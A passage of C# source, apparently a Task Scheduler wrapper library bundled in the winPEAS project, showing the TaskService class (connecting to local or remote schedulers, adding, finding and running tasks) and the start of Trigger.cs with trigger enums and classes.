to 100). /// An optional message. public delegate void ComHandlerUpdate(short percentage, string message); /// Occurs when the Task Scheduler is connected to the local or remote target. public event EventHandler ServiceConnected; /// Occurs when the Task Scheduler is disconnected from the local or remote target. public event EventHandler ServiceDisconnected; /// Gets a local instance of the using the current user's credentials. /// Local user instance. public static TaskService Instance { get { if (instance is null) { instance = new TaskService(); instance.ServiceDisconnected += Instance_ServiceDisconnected; } return instance; } } /// /// Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any /// compatibility level higher than this version. /// /// The library version. /// /// The following table list the various versions and their host operating system: /// /// /// Version /// Operating System /// /// /// 1.1 /// Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). /// /// /// 1.2 /// Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). /// /// /// 1.3 /// Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). /// /// /// 1.4 /// Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). /// /// /// 1.5 /// Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). /// /// /// 1.6 /// Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). /// /// /// [Browsable(false)] public static Version LibraryVersion { get; } = Instance.HighestSupportedVersion; /// /// Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. /// /// true if allow read only tasks; otherwise, false. [DefaultValue(false), Category("Behavior"), Description("Allow tasks from later OS versions with new properties to be retrieved as read only tasks.")] public bool AllowReadOnlyTasks { get; set; } /// Gets the name of the domain to which the computer is connected. [Browsable(false)] [DefaultValue(null)] [Obsolete("This property has been superseded by the UserAccountDomin property and may not be available in future releases.")] public string ConnectedDomain { get { if (v2TaskService != null) return v2TaskService.ConnectedDomain; var parts = v1Impersonation.Name.Split('\\'); if (parts.Length == 2) return parts[0]; return string.Empty; } } /// Gets the name of the user that is connected to the Task Scheduler service. [Browsable(false)] [DefaultValue(null)] [Obsolete("This property has been superseded by the UserName property and may not be available in future releases.")] public string ConnectedUser { get { if (v2TaskService != null) return v2TaskService.ConnectedUser; var parts = v1Impersonation.Name.Split('\\'); if (parts.Length == 2) return parts[1]; return parts[0]; } } /// Gets the highest version of Task Scheduler that a computer supports. /// /// The following table list the various versions and their host operating system: /// /// /// Version /// Operating System /// /// /// 1.1 /// Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). /// /// /// 1.2 /// Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). /// /// /// 1.3 /// Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). /// /// /// 1.4 /// Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). /// /// /// 1.5 /// Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). /// /// /// 1.6 /// Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). /// /// /// [Category("Data"), TypeConverter(typeof(VersionConverter)), Description("Highest version of library that should be used.")] public Version HighestSupportedVersion { get => maxVer; set { if (value > GetLibraryVersionFromLocalOS()) throw new ArgumentOutOfRangeException(nameof(HighestSupportedVersion), @"The value of HighestSupportedVersion cannot exceed that of the underlying Windows version library."); maxVer = value; maxVerSet = true; var localForceV1 = value <= TaskServiceVersion.V1_1; if (localForceV1 == forceV1) return; forceV1 = localForceV1; Connect(); } } /// Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. [Browsable(false)] public TaskFolder RootFolder => GetFolder(TaskFolder.rootString); /// Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. [Category("Data"), DefaultValue(null), Description("The name of the computer to connect to.")] public string TargetServer { get => ShouldSerializeTargetServer() ? targetServer : null; set { if (value == null || value.Trim() == string.Empty) value = null; if (string.Compare(value, targetServer, StringComparison.OrdinalIgnoreCase) != 0) { targetServerSet = true; targetServer = value; Connect(); } } } /// Gets or sets the user account domain to be used when connecting to the . /// The user account domain. [Category("Data"), DefaultValue(null), Description("The user account domain to be used when connecting.")] public string UserAccountDomain { get => ShouldSerializeUserAccountDomain() ? userDomain : null; set { if (value == null || value.Trim() == string.Empty) value = null; if (string.Compare(value, userDomain, StringComparison.OrdinalIgnoreCase) != 0) { userDomainSet = true; userDomain = value; Connect(); } } } /// Gets or sets the user name to be used when connecting to the . /// The user name. [Category("Data"), DefaultValue(null), Description("The user name to be used when connecting.")] public string UserName { get => ShouldSerializeUserName() ? userName : null; set { if (value == null || value.Trim() == string.Empty) value = null; if (string.Compare(value, userName, StringComparison.OrdinalIgnoreCase) != 0) { userNameSet = true; userName = value; Connect(); } } } /// Gets or sets the user password to be used when connecting to the . /// The user password. [Category("Data"), DefaultValue(null), Description("The user password to be used when connecting.")] public string UserPassword { get => userPassword; set { if (value == null || value.Trim() == string.Empty) value = null; if (string.CompareOrdinal(value, userPassword) != 0) { userPasswordSet = true; userPassword = value; Connect(); } } } /// Gets a which enumerates all the tasks in all folders. /// A for all instances. [Browsable(false)] public System.Collections.Generic.IEnumerable AllTasks => RootFolder.AllTasks; /// Gets a Boolean value that indicates if you are connected to the Task Scheduler service. [Browsable(false)] public bool Connected => v2TaskService != null && v2TaskService.Connected || v1TaskScheduler != null; /// /// Gets the connection token for this instance. This token is thread safe and can be used to create new /// instances on other threads using the static method. /// /// The connection token. public ConnectionToken Token => ConnectionDataManager.TokenFromInstance(TargetServer, UserName, UserAccountDomain, UserPassword, forceV1); /// Gets a value indicating whether the component can raise an event. protected override bool CanRaiseEvents { get; } = false; /// /// Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the /// preferred method for multi-thread creation or asynchronous method parameters. /// /// The token. /// A instance valid for the thread calling this method. public static TaskService CreateFromToken(ConnectionToken token) => ConnectionDataManager.InstanceFromToken(token); /// Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. /// The path to the .dll file that contains the resource. /// The identifier for the resource text (typically a negative number). /// A string in the format of $(@ [dllPath], [resourceId]). /// /// For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the /// value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. /// public static string GetDllResourceString([NotNull] string dllPath, int resourceId) => $"$(@ {dllPath}, {resourceId})"; /// /// Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the /// interface. /// /// The CLSID of the COM object. /// An optional string passed to the COM object at startup. /// The number of milliseconds to wait or -1 for indefinitely. /// /// An optional delegate that is called when the COM object calls the /// method. /// /// The value set by the COM object via a call to the method. public static int RunComHandlerAction(Guid clsid, string data = null, int millisecondsTimeout = -1, ComHandlerUpdate onUpdate = null) { var thread = new ComHandlerThread(clsid, data, millisecondsTimeout, onUpdate, null); thread.Start().Join(); return thread.ReturnCode; } /// /// Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the /// interface. /// /// The CLSID of the COM object. /// The action to run on thread completion. /// An optional string passed to the COM object at startup. /// The number of milliseconds to wait or -1 for indefinitely. /// /// An optional delegate that is called when the COM object calls the /// method. /// public static void RunComHandlerActionAsync(Guid clsid, Action onComplete, string data = null, int millisecondsTimeout = -1, ComHandlerUpdate onUpdate = null) => new ComHandlerThread(clsid, data, millisecondsTimeout, onUpdate, onComplete).Start(); /// Adds or updates an Automatic Maintenance Task on the connected machine. /// Name of the task with full path. /// The amount of time the task needs once executed during regular Automatic maintenance. /// /// The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task /// failed to complete during regular Automatic Maintenance. /// /// The path to an executable file. /// The arguments associated with the command-line operation. /// /// The directory that contains either the executable file or the files that are used by the executable file. /// /// A instance of the Automatic Maintenance Task. /// /// Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. /// public Task AddAutomaticMaintenanceTask([NotNull] string taskPathAndName, TimeSpan period, TimeSpan deadline, string executablePath, string arguments = null, string workingDirectory = null) { if (HighestSupportedVersion.Minor < 4) throw new InvalidOperationException("Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later."); var td = NewTask(); td.Settings.UseUnifiedSchedulingEngine = true; td.Settings.MaintenanceSettings.Period = period; td.Settings.MaintenanceSettings.Deadline = deadline; td.Actions.Add(executablePath, arguments, workingDirectory); // The task needs to grant explicit FRFX to LOCAL SERVICE (A;;FRFX;;;LS) return RootFolder.RegisterTaskDefinition(taskPathAndName, td, TaskCreation.CreateOrUpdate, null, null, TaskLogonType.InteractiveToken, "D:P(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;LS)"); } /// Creates a new task, registers the task, and returns the instance. /// /// The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value /// that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot /// be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. /// /// The to determine when to run the task. /// The to determine what happens when the task is triggered. /// The user credentials used to register the task. /// The password for the userId used to register the task. /// /// A value that defines what logon technique is used to run the registered task. /// /// The task description. /// A instance of the registered task. /// /// This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. /// /// /// /// /// /// public Task AddTask([NotNull] string path, [NotNull] Trigger trigger, [NotNull] Action action, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.InteractiveToken, string description = null) { var td = NewTask(); if (!string.IsNullOrEmpty(description)) td.RegistrationInfo.Description = description; // Create a trigger that will fire the task at a specific date and time td.Triggers.Add(trigger); // Create an action that will launch Notepad whenever the trigger fires td.Actions.Add(action); // Register the task in the root folder return RootFolder.RegisterTaskDefinition(path, td, TaskCreation.CreateOrUpdate, userId, password, logonType); } /// Creates a new task, registers the task, and returns the instance. /// /// The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value /// that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot /// be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. /// /// The to determine when to run the task. /// The executable path. /// The arguments (optional). Value can be NULL. /// The user credentials used to register the task. /// The password for the userId used to register the task. /// /// A value that defines what logon technique is used to run the registered task. /// /// The task description. /// A instance of the registered task. /// /// /// /// /// public Task AddTask([NotNull] string path, QuickTriggerType trigger, [NotNull] string exePath, string arguments = null, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.InteractiveToken, string description = null) { // Create a trigger based on quick trigger Trigger newTrigger; switch (trigger) { case QuickTriggerType.Boot: newTrigger = new BootTrigger(); break; case QuickTriggerType.Idle: newTrigger = new IdleTrigger(); break; case QuickTriggerType.Logon: newTrigger = new LogonTrigger(); break; case QuickTriggerType.TaskRegistration: newTrigger = new RegistrationTrigger(); break; case QuickTriggerType.Hourly: newTrigger = new DailyTrigger { Repetition = new RepetitionPattern(TimeSpan.FromHours(1), TimeSpan.FromDays(1)) }; break; case QuickTriggerType.Daily: newTrigger = new DailyTrigger(); break; case QuickTriggerType.Weekly: newTrigger = new WeeklyTrigger(); break; case QuickTriggerType.Monthly: newTrigger = new MonthlyTrigger(); break; default: throw new ArgumentOutOfRangeException(nameof(trigger), trigger, null); } return AddTask(path, newTrigger, new Action.ExecAction(exePath, arguments), userId, password, logonType, description); } /// Signals the object that initialization is starting. public void BeginInit() => initializing = true; /// Signals the object that initialization is complete. public void EndInit() { initializing = false; Connect(); } /// Determines whether the specified , is equal to this instance. /// The to compare with this instance. /// true if the specified is equal to this instance; otherwise, false. public override bool Equals(object obj) { var tsobj = obj as TaskService; if (tsobj != null) return tsobj.TargetServer == TargetServer && tsobj.UserAccountDomain == UserAccountDomain && tsobj.UserName == UserName && tsobj.UserPassword == UserPassword && tsobj.forceV1 == forceV1; return base.Equals(obj); } /// Finds all tasks matching a name or standard wildcards. /// Name of the task in regular expression form. /// if set to true search all sub folders. /// An array of containing all tasks matching . public Task[] FindAllTasks(System.Text.RegularExpressions.Regex name, bool searchAllFolders = true) { var results = new System.Collections.Generic.List(); FindTaskInFolder(RootFolder, name, ref results, searchAllFolders); return results.ToArray(); } /// Finds all tasks matching a name or standard wildcards. /// The filter used to determine tasks to select. /// if set to true search all sub folders. /// An array of containing all tasks matching . public Task[] FindAllTasks(Predicate filter, bool searchAllFolders = true) { if (filter == null) filter = t => true; var results = new System.Collections.Generic.List(); FindTaskInFolder(RootFolder, filter, ref results, searchAllFolders); return results.ToArray(); } /// Finds a task given a name and standard wildcards. /// The task name. This can include the wildcards * or ?. /// if set to true search all sub folders. /// A if one matches , otherwise NULL. public Task FindTask([NotNull] string name, bool searchAllFolders = true) { var results = FindAllTasks(new Wildcard(name), searchAllFolders); if (results.Length > 0) return results[0]; return null; } /// Gets the event log for this instance. /// (Optional) The task path if only the events for a single task are desired. /// A instance. public TaskEventLog GetEventLog(string taskPath = null) => new TaskEventLog(TargetServer, taskPath, UserAccountDomain, UserName, UserPassword); /// Gets the path to a folder of registered tasks. /// /// The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is /// specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character /// cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. /// /// instance for the requested folder or null if was unrecognized. /// /// Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. /// public TaskFolder GetFolder(string folderName) { TaskFolder f = null; if (v2TaskService != null) { if (string.IsNullOrEmpty(folderName)) folderName = TaskFolder.rootString; try { var ifld = v2TaskService.GetFolder(folderName); if (ifld != null) f = new TaskFolder(this, ifld); } catch (System.IO.DirectoryNotFoundException) { } catch (System.IO.FileNotFoundException) { } } else if (folderName == TaskFolder.rootString || string.IsNullOrEmpty(folderName)) f = new TaskFolder(this); else throw new NotV1SupportedException("Folder other than the root (\\) was requested on a system only supporting Task Scheduler 1.0."); return f; } /// Returns a hash code for this instance. /// A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. public override int GetHashCode() => new { A = TargetServer, B = UserAccountDomain, C = UserName, D = UserPassword, E = forceV1 }.GetHashCode(); /// Gets a collection of running tasks. /// True to include hidden tasks. /// instance with the list of running tasks. public RunningTaskCollection GetRunningTasks(bool includeHidden = true) { if (v2TaskService != null) try { return new RunningTaskCollection(this, v2TaskService.GetRunningTasks(includeHidden ? 1 : 0)); } catch { } return new RunningTaskCollection(this); } /// Gets the task with the specified path. /// The task path. /// /// The instance matching the , if found. If not found, this method returns null. /// public Task GetTask([NotNull] string taskPath) { Task t = null; if (v2TaskService != null) { var iTask = GetTask(v2TaskService, taskPath); if (iTask != null) t = Task.CreateTask(this, iTask); } else { taskPath = Path.GetFileNameWithoutExtension(taskPath); var iTask = GetTask(v1TaskScheduler, taskPath); if (iTask != null) t = new Task(this, iTask); } return t; } /// /// Returns an empty task definition object to be filled in with settings and properties and then registered using the /// method. /// /// A instance for setting properties. public TaskDefinition NewTask() { if (v2TaskService != null) return new TaskDefinition(v2TaskService.NewTask(0)); var v1Name = "Temp" + Guid.NewGuid().ToString("B"); return new TaskDefinition(v1TaskScheduler.NewWorkItem(v1Name, CLSID_Ctask, IID_ITask), v1Name); } /// Returns a populated with the properties defined in an XML file. /// The XML file to use as input. /// A instance. /// Importing from an XML file is only supported under Task Scheduler 2.0. public TaskDefinition NewTaskFromFile([NotNull] string xmlFile) { var td = NewTask(); td.XmlText = File.ReadAllText(xmlFile); return td; } /// Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. public void StartSystemTaskSchedulerManager() { if (Environment.UserInteractive) System.Diagnostics.Process.Start("control.exe", "schedtasks"); } [System.Security.SecurityCritical] void System.Runtime.Serialization.ISerializable.GetObjectData(System.Runtime.Serialization.SerializationInfo info, System.Runtime.Serialization.StreamingContext context) { info.AddValue("TargetServer", TargetServer, typeof(string)); info.AddValue("UserName", UserName, typeof(string)); info.AddValue("UserAccountDomain", UserAccountDomain, typeof(string)); info.AddValue("UserPassword", UserPassword, typeof(string)); info.AddValue("forceV1", forceV1, typeof(bool)); } internal static IRegisteredTask GetTask([NotNull] ITaskService iSvc, [NotNull] string name) { ITaskFolder fld = null; try { fld = iSvc.GetFolder("\\"); return fld.GetTask(name); } catch { return null; } finally { if (fld != null) Marshal.ReleaseComObject(fld); } } internal static ITask GetTask([NotNull] ITaskScheduler iSvc, [NotNull] string name) { if (string.IsNullOrEmpty(name)) throw new ArgumentNullException(nameof(name)); try { return iSvc.Activate(name, IID_ITask); } catch (UnauthorizedAccessException) { // TODO: Take ownership of the file and try again throw; } catch (ArgumentException) { return iSvc.Activate(name + ".job", IID_ITask); } catch (FileNotFoundException) { return null; } } /// /// Releases the unmanaged resources used by the and optionally releases the managed resources. /// /// true to release both managed and unmanaged resources; false to release only unmanaged resources. protected override void Dispose(bool disposing) { if (v2TaskService != null) { try { Marshal.ReleaseComObject(v2TaskService); } catch { } v2TaskService = null; } if (v1TaskScheduler != null) { try { Marshal.ReleaseComObject(v1TaskScheduler); } catch { } v1TaskScheduler = null; } if (v1Impersonation != null) { v1Impersonation.Dispose(); v1Impersonation = null; } if (!connecting) ServiceDisconnected?.Invoke(this, EventArgs.Empty); base.Dispose(disposing); } private static Version GetLibraryVersionFromLocalOS() { if (osLibVer == null) { if (Environment.OSVersion.Version.Major < 6) osLibVer = TaskServiceVersion.V1_1; else { if (Environment.OSVersion.Version.Minor == 0) osLibVer = TaskServiceVersion.V1_2; else if (Environment.OSVersion.Version.Minor == 1) osLibVer = TaskServiceVersion.V1_3; else { try { var fvi = System.Diagnostics.FileVersionInfo.GetVersionInfo(Path.Combine(Environment.SystemDirectory, "taskschd.dll")); if (fvi.FileBuildPart > 9600 && fvi.FileBuildPart <= 14393) osLibVer = TaskServiceVersion.V1_5; else if (fvi.FileBuildPart >= 15063) osLibVer = TaskServiceVersion.V1_6; else // fvi.FileBuildPart <= 9600 osLibVer = TaskServiceVersion.V1_4; } catch { /* ignored */ }; } } if (osLibVer == null) throw new NotSupportedException(@"The Task Scheduler library version for this system cannot be determined."); } return osLibVer; } private static void Instance_ServiceDisconnected(object sender, EventArgs e) => instance?.Connect(); /// Connects this instance of the class to a running Task Scheduler. private void Connect() { ResetUnsetProperties(); if (!initializing && !DesignMode) { if (!string.IsNullOrEmpty(userDomain) && !string.IsNullOrEmpty(userName) && !string.IsNullOrEmpty(userPassword) || string.IsNullOrEmpty(userDomain) && string.IsNullOrEmpty(userName) && string.IsNullOrEmpty(userPassword)) { // Clear stuff if already connected connecting = true; Dispose(true); if (LibraryIsV2 && !forceV1) { v2TaskService = new ITaskService(); if (!string.IsNullOrEmpty(targetServer)) { // Check to ensure character only server name. (Suggested by bigsan) if (targetServer.StartsWith(@"\")) targetServer = targetServer.TrimStart('\\'); // Make sure null is provided for local machine to compensate for a native library oddity (Found by ctrollen) if (targetServer.Equals(Environment.MachineName, StringComparison.CurrentCultureIgnoreCase)) targetServer = null; } else targetServer = null; v2TaskService.Connect(targetServer, userName, userDomain, userPassword); targetServer = v2TaskService.TargetServer; userName = v2TaskService.ConnectedUser; userDomain = v2TaskService.ConnectedDomain; maxVer = GetV2Version(); } else { v1Impersonation = new WindowsImpersonatedIdentity(userName, userDomain, userPassword); v1TaskScheduler = new ITaskScheduler(); if (!string.IsNullOrEmpty(targetServer)) { // Check to ensure UNC format for server name. (Suggested by bigsan) if (!targetServer.StartsWith(@"\\")) targetServer = @"\\" + targetServer; } else targetServer = null; v1TaskScheduler.SetTargetComputer(targetServer); targetServer = v1TaskScheduler.GetTargetComputer(); maxVer = TaskServiceVersion.V1_1; } ServiceConnected?.Invoke(this, EventArgs.Empty); connecting = false; } else { throw new ArgumentException("A username, password, and domain must be provided."); } } } /// Finds the task in folder. /// The folder. /// The wildcard expression to compare task names with. /// The results. /// if set to true recurse folders. /// True if any tasks are found, False if not. private bool FindTaskInFolder([NotNull] TaskFolder fld, System.Text.RegularExpressions.Regex taskName, ref System.Collections.Generic.List results, bool recurse = true) { results.AddRange(fld.GetTasks(taskName)); if (recurse) { foreach (var f in fld.SubFolders) { if (FindTaskInFolder(f, taskName, ref results)) return true; } } return false; } /// Finds the task in folder. /// The folder. /// The filter to use when looking for tasks. /// The results. /// if set to true recurse folders. /// True if any tasks are found, False if not. private bool FindTaskInFolder([NotNull] TaskFolder fld, Predicate filter, ref System.Collections.Generic.List results, bool recurse = true) { foreach (var t in fld.GetTasks()) try { if (filter(t)) results.Add(t); } catch { System.Diagnostics.Debug.WriteLine($"Unable to evaluate filter for task '{t.Path}'."); } if (recurse) { foreach (var f in fld.SubFolders) { if (FindTaskInFolder(f, filter, ref results)) return true; } } return false; } private Version GetV2Version() { var v = v2TaskService.HighestVersion; return new Version((int)(v >> 16), (int)(v & 0x0000FFFF)); } private void ResetHighestSupportedVersion() => maxVer = Connected ? (v2TaskService != null ? GetV2Version() : TaskServiceVersion.V1_1) : GetLibraryVersionFromLocalOS(); private void ResetUnsetProperties() { if (!maxVerSet) ResetHighestSupportedVersion(); if (!targetServerSet) targetServer = null; if (!userDomainSet) userDomain = null; if (!userNameSet) userName = null; if (!userPasswordSet) userPassword = null; } private bool ShouldSerializeHighestSupportedVersion() => LibraryIsV2 && maxVer <= TaskServiceVersion.V1_1; private bool ShouldSerializeTargetServer() => targetServer != null && !targetServer.Trim('\\').Equals(Environment.MachineName.Trim('\\'), StringComparison.InvariantCultureIgnoreCase); private bool ShouldSerializeUserAccountDomain() => userDomain != null && !userDomain.Equals(Environment.UserDomainName, StringComparison.InvariantCultureIgnoreCase); private bool ShouldSerializeUserName() => userName != null && !userName.Equals(Environment.UserName, StringComparison.InvariantCultureIgnoreCase); /// /// Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing /// information about a between threads. /// public struct ConnectionToken { internal int token; internal ConnectionToken(int value) => token = value; } // Manages the list of tokens and associated data private static class ConnectionDataManager { public static List connections = new List() { new ConnectionData(null) }; public static TaskService InstanceFromToken(ConnectionToken token) { ConnectionData data; lock (connections) { data = connections[token.token < connections.Count ? token.token : 0]; } return new TaskService(data.TargetServer, data.UserName, data.UserAccountDomain, data.UserPassword, data.ForceV1); } public static ConnectionToken TokenFromInstance(string targetServer, string userName = null, string accountDomain = null, string password = null, bool forceV1 = false) { lock (connections) { var newData = new ConnectionData(targetServer, userName, accountDomain, password, forceV1); for (var i = 0; i < connections.Count; i++) { if (connections[i].Equals(newData)) return new ConnectionToken(i); } connections.Add(newData); return new ConnectionToken(connections.Count - 1); } } } private class ComHandlerThread { public int ReturnCode; private readonly System.Threading.AutoResetEvent completed = new System.Threading.AutoResetEvent(false); private readonly string Data; private readonly Type objType; private readonly TaskHandlerStatus status; private readonly int Timeout; public ComHandlerThread(Guid clsid, string data, int millisecondsTimeout, ComHandlerUpdate onUpdate, Action onComplete) { objType = Type.GetTypeFromCLSID(clsid, true); Data = data; Timeout = millisecondsTimeout; status = new TaskHandlerStatus(i => { completed.Set(); onComplete?.Invoke(i); }, onUpdate); } public System.Threading.Thread Start() { var t = new System.Threading.Thread(ThreadProc); t.Start(); return t; } private void ThreadProc() { completed.Reset(); object obj = null; try { obj = Activator.CreateInstance(objType); } catch { } if (obj == null) return; ITaskHandler taskHandler = null; try { taskHandler = (ITaskHandler)obj; } catch { } try { if (taskHandler != null) { taskHandler.Start(status, Data); completed.WaitOne(Timeout); taskHandler.Stop(out ReturnCode); } } finally { if (taskHandler != null) Marshal.ReleaseComObject(taskHandler); Marshal.ReleaseComObject(obj); } } private class TaskHandlerStatus : ITaskHandlerStatus { private readonly Action OnCompleted; private readonly ComHandlerUpdate OnUpdate; public TaskHandlerStatus(Action onCompleted, ComHandlerUpdate onUpdate) { OnCompleted = onCompleted; OnUpdate = onUpdate; } public void TaskCompleted([In, MarshalAs(UnmanagedType.Error)] int taskErrCode) => OnCompleted?.Invoke(taskErrCode); public void UpdateStatus([In] short percentComplete, [In, MarshalAs(UnmanagedType.BStr)] string statusMessage) => OnUpdate?.Invoke(percentComplete, statusMessage); } } // This private class holds information needed to create a new TaskService instance private class ConnectionData : IEquatable { public bool ForceV1; public string TargetServer, UserAccountDomain, UserName, UserPassword; public ConnectionData(string targetServer, string userName = null, string accountDomain = null, string password = null, bool forceV1 = false) { TargetServer = targetServer; UserAccountDomain = accountDomain; UserName = userName; UserPassword = password; ForceV1 = forceV1; } public bool Equals(ConnectionData other) => string.Equals(TargetServer, other.TargetServer, StringComparison.InvariantCultureIgnoreCase) && string.Equals(UserAccountDomain, other.UserAccountDomain, StringComparison.InvariantCultureIgnoreCase) && string.Equals(UserName, other.UserName, StringComparison.InvariantCultureIgnoreCase) && string.Equals(UserPassword, other.UserPassword, StringComparison.InvariantCultureIgnoreCase) && ForceV1 == other.ForceV1; } private class VersionConverter : TypeConverter { public override bool CanConvertFrom(ITypeDescriptorContext context, Type sourceType) { if (sourceType == typeof(string)) return true; return base.CanConvertFrom(context, sourceType); } public override object ConvertFrom(ITypeDescriptorContext context, System.Globalization.CultureInfo culture, object value) { var s = value as string; return s != null ? new Version(s) : base.ConvertFrom(context, culture, value); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/Trigger.cs ================================================ using System; using System.Collections.Generic; using System.ComponentModel; using System.Globalization; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Text; using System.Xml.Serialization; using winPEAS.Properties; using winPEAS.TaskScheduler.V1; using winPEAS.TaskScheduler.V2; namespace winPEAS.TaskScheduler { /// Values for days of the week (Monday, Tuesday, etc.) [Flags] public enum DaysOfTheWeek : short { /// Sunday Sunday = 0x1, /// Monday Monday = 0x2, /// Tuesday Tuesday = 0x4, /// Wednesday Wednesday = 0x8, /// Thursday Thursday = 0x10, /// Friday Friday = 0x20, /// Saturday Saturday = 0x40, /// All days AllDays = 0x7F } /// Values for months of the year (January, February, etc.) [Flags] public enum MonthsOfTheYear : short { /// January January = 0x1, /// February February = 0x2, /// March March = 0x4, /// April April = 0x8, /// May May = 0x10, /// June June = 0x20, /// July July = 0x40, /// August August = 0x80, /// September September = 0x100, /// October October = 0x200, /// November November = 0x400, /// December December = 0x800, /// All months AllMonths = 0xFFF } /// Defines the type of triggers that can be used by tasks. [DefaultValue(Time)] public enum TaskTriggerType { /// Triggers the task when a specific event occurs. Version 1.2 only. Event = 0, /// Triggers the task at a specific time of day. Time = 1, /// Triggers the task on a daily schedule. Daily = 2, /// Triggers the task on a weekly schedule. Weekly = 3, /// Triggers the task on a monthly schedule. Monthly = 4, /// Triggers the task on a monthly day-of-week schedule. MonthlyDOW = 5, /// Triggers the task when the computer goes into an idle state. Idle = 6, /// Triggers the task when the task is registered. Version 1.2 only. Registration = 7, /// Triggers the task when the computer boots. Boot = 8, /// Triggers the task when a specific user logs on. Logon = 9, /// Triggers the task when a specific user session state changes. Version 1.2 only. SessionStateChange = 11, /// Triggers the custom trigger. Version 1.3 only. Custom = 12 } /// Values for week of month (first, second, ..., last) [Flags] public enum WhichWeek : short { /// First week of the month FirstWeek = 1, /// Second week of the month SecondWeek = 2, /// Third week of the month ThirdWeek = 4, /// Fourth week of the month FourthWeek = 8, /// Last week of the month LastWeek = 0x10, /// Every week of the month AllWeeks = 0x1F } /// Interface that categorizes the trigger as a calendar trigger. public interface ICalendarTrigger { } /// Interface for triggers that support a delay. public interface ITriggerDelay { /// Gets or sets a value that indicates the amount of time before the task is started. /// The delay duration. TimeSpan Delay { get; set; } } /// Interface for triggers that support a user identifier. public interface ITriggerUserId { /// Gets or sets the user for the . string UserId { get; set; } } /// Represents a trigger that starts a task when the system is booted. /// /// A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the /// ITriggerDelay interface. /// /// /// /// /// /// public sealed class BootTrigger : Trigger, ITriggerDelay { /// Creates an unbound instance of a . public BootTrigger() : base(TaskTriggerType.Boot) { } internal BootTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.OnSystemStart) { } internal BootTrigger([NotNull] ITrigger iTrigger) : base(iTrigger) { } /// Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. /// Not supported under Task Scheduler 1.0. [DefaultValue(typeof(TimeSpan), "00:00:00")] [XmlIgnore] public TimeSpan Delay { get => v2Trigger != null ? Task.StringToTimeSpan(((IBootTrigger)v2Trigger).Delay) : GetUnboundValueOrDefault(nameof(Delay), TimeSpan.Zero); set { if (v2Trigger != null) ((IBootTrigger)v2Trigger).Delay = Task.TimeSpanToString(value); else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(Delay)] = value; OnNotifyPropertyChanged(); } } /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected override string V2GetTriggerString() => Resources.TriggerBoot1; } /// /// Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only /// available for reading custom triggers. It cannot be used to create custom triggers. /// public sealed class CustomTrigger : Trigger, ITriggerDelay { private readonly NamedValueCollection nvc = new NamedValueCollection(); private TimeSpan delay = TimeSpan.MinValue; private string name = string.Empty; internal CustomTrigger([NotNull] ITrigger iTrigger) : base(iTrigger) { } /// Gets a value that indicates the amount of time between the trigger events and when the task is started. /// This value cannot be set. public TimeSpan Delay { get => delay; set => throw new NotImplementedException(); } /// Gets the name of the custom trigger type. /// The name of the XML element representing this custom trigger. public string Name => name; /// Gets the properties from the XML definition if possible. [XmlArray, XmlArrayItem("Property")] public NamedValueCollection Properties => nvc; /// Clones this instance. /// This method will always throw an exception. /// CustomTrigger cannot be cloned due to OS restrictions. public override object Clone() => throw new InvalidOperationException("CustomTrigger cannot be cloned due to OS restrictions."); /// Updates custom properties from XML provided by definition. /// The XML from the TaskDefinition. internal void UpdateFromXml(string xml) { nvc.Clear(); try { var xmlDoc = new System.Xml.XmlDocument(); xmlDoc.LoadXml(xml); var nsmgr = new System.Xml.XmlNamespaceManager(xmlDoc.NameTable); nsmgr.AddNamespace("n", "http://schemas.microsoft.com/windows/2004/02/mit/task"); var elem = 